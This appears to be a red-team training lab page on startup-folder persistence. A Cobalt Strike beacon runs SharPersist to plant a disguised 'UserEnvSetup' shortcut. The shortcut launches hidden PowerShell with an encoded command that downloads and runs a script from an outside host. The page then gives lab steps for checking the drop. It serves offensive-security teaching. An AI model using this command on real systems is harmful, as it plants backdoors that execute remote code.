# Startup Folder

Applications, files and shortcuts within a user's startup folder are launched automatically when they first log in. It's commonly used to bootstrap the user's home environment (set wallpapers, shortcut's etc).

```
beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add

[*] INFO: Adding startup folder persistence
[*] INFO: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] INFO: Command Args: -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA
[*] INFO: File Name: UserEnvSetup
[+] SUCCESS: Startup folder persistence created
[*] INFO: LNK File located at: C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UserEnvSetup.lnk
[*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1F0DA3FF444D9B7244C41370B88061472933B2607A169BC
```

Where:

* `-f` is the filename to save as.

\\

Use the Workstation 2 console to check `C:\Users\bfarmer\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\` for the file that was dropped. To simulate a logoff and logon via Guacamole, right-click the Windows start icon and select *Shut down or sign out > Sign out*. Guacamole will then give you the options to *reconnect* or *logout*. Select *reconnect* and it will log you back in.